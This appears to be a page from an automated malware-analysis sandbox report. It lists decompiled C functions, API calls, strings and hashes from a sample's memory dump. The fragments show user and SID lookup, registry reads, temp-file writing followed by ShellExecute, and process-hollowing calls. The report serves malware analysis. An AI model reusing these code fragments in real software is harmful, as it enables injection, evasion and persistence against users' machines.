Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

/%d, xrefs: 00407030
|, xrefs: 00406FB3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 02F02F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 02F02F8A
LoadLibraryA.KERNEL32(?), ref: 02F02F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 02F02FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 02F02FE9
RtlAllocateHeap.NTDLL(00000000), ref: 02F02FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 02F0301B

Strings

dnsapi.dll, xrefs: 02F02F79

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: b2e27b790ff7128285a09730d3e75efe48d5f184acea2d50d7ead43c91358474
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: E0219271E41225BBCB219B54DD88AAEBBBCEF08BD5F004461FA05E7180D7B09A8197E4

Uniqueness

Uniqueness Score: -1.00%

Function 02F06F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\inhioadg,02F0702C), ref: 02F06F37
GetProcAddress.KERNEL32(00000000), ref: 02F06F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 02F06F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 02F06F7B

Strings

\\.\pipe\inhioadg, xrefs: 02F06F20
PromptOnSecureDesktop, xrefs: 02F06F86, 02F06FA8, 02F06FB8, 02F06FCE, 02F06FDE
C:\Windows\SysWOW64\, xrefs: 02F06F19, 02F06F21, 02F06F4E, 02F06F55, 02F06F63, 02F06F6E, 02F06F7A, 02F06F92, 02F06FAF, 02F06FD5

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\inhioadg
API String ID: 1082366364-211558761
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 07ccf0231098f2ce82ccee66a4e8446f4b2af23a9ef389ec9a2fc45fb4daa84b
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 8A21F321B413447AF73263219CC8FFB3E4D8B42B95F188195FA04E60D0DBD994A696BD

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 4dde0bf8d801383f78d35d6db3f0c5704de66a8d5b23a2d4df20afac4119ba44
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 4dde0bf8d801383f78d35d6db3f0c5704de66a8d5b23a2d4df20afac4119ba44
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 02F092B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 02F092CB
wsprintfA.USER32 ref: 02F09339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02F0935E
lstrlen.KERNEL32(?,?,00000000), ref: 02F09372
WriteFile.KERNEL32(00000000,?,00000000), ref: 02F0937D
CloseHandle.KERNEL32(00000000), ref: 02F09384

Strings

PromptOnSecureDesktop, xrefs: 02F09314, 02F0932C, 02F09347

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: ddac131199d16e062c31e301af3803f799a821b2e74d406b2787bd4466172c9f
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: B711B4B27401247BE7246725EC49FEF3A6EDBC8B40F008465FB09E50D0EEB44E419AA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 02F099CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02F09A01
GetThreadContext.KERNEL32(?,?), ref: 02F09A3B
TerminateProcess.KERNEL32(?,00000000), ref: 02F09A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 02F09A81
SetThreadContext.KERNEL32(?,00010002), ref: 02F09A9E
ResumeThread.KERNEL32(?), ref: 02F09AAB

Strings

D, xrefs: 02F099F9

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 4f8933c5fd0b28d863b5b5c0ca39615d9b5f2966103ecbdf65042351c5c438c3
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 3A214F71D01219BBDB21DBA1DC49FEF7BBCEF05794F004061BA19E1091EBB58A44DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F01BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 02F01C01
LoadLibraryA.KERNEL32(004102C8), ref: 02F01C0F
GetProcessHeap.KERNEL32 ref: 02F01C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 02F01C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 02F01CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 02F01CEB
FreeLibrary.KERNEL32(?), ref: 02F01CF4

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 5acc5853d1ddeccfff9932fa75fb86770eb2ad64d2e1e844e10b4aca5e364097
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 84315072E00219BFCB119FE4DCC89EFBBB5EB45345B14847AE606E2150D7758D80EB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x5f;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 08b804aa4dbe4146bec3b7e35f718ab85139b9becdfb5cba916dfdb72d7485d3
Instruction ID: a091c33bac3a05edd0f781d4862e0aa50b56c2a0d1f82944b297ae2513ed62b4
Opcode Fuzzy Hash: 08b804aa4dbe4146bec3b7e35f718ab85139b9becdfb5cba916dfdb72d7485d3
Instruction Fuzzy Hash: D34181B1900209BADB10ABA2CD45FAFBFBCEF40355F104566F614B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F06CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 02F06CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02F06D0B
GetLastError.KERNEL32 ref: 02F06D90
CloseHandle.KERNEL32(?), ref: 02F06D9E
GetLastError.KERNEL32 ref: 02F06DBF
DeleteFileA.KERNEL32(?), ref: 02F06DD0
GetLastError.KERNEL32 ref: 02F06DE6

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: e9e9ffc21125e3758bd0118dbde591d00d022022efbd1eda4172fea14d860bc3
Instruction ID: 8f458845204ddc43d0188a07e21395b1d8ffeab182e2e85974e41ca0f64fac64
Opcode Fuzzy Hash: e9e9ffc21125e3758bd0118dbde591d00d022022efbd1eda4172fea14d860bc3
Instruction Fuzzy Hash: 4F3112B2E01149BFCB11DFA49D84ADEBF7EEF48350F048065E252E3290D7708AA59B64

Uniqueness

Uniqueness Score: -1.00%

Function 02F09395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 02F093AF
GetModuleFileNameA.KERNEL32(00000000), ref: 02F093B6
CharToOemA.USER32(?,?), ref: 02F093C4
wsprintfA.USER32 ref: 02F093F9

Part of subcall function 02F092B4: GetTempPathA.KERNEL32(00000400,?), ref: 02F092CB
Part of subcall function 02F092B4: wsprintfA.USER32 ref: 02F09339
Part of subcall function 02F092B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02F0935E
Part of subcall function 02F092B4: lstrlen.KERNEL32(?,?,00000000), ref: 02F09372
Part of subcall function 02F092B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 02F0937D
Part of subcall function 02F092B4: CloseHandle.KERNEL32(00000000), ref: 02F09384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02F09431

Strings

PromptOnSecureDesktop, xrefs: 02F093E3, 02F093E8, 02F09405

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: 08021c3c2de80b2d28dc9dcedf4dbf7f4c02307ab6af02b8b76362b5e6217c33
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: C20140F69001187BD721A7619D89FDF377CDB95B01F0040A1BB49E2090EAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

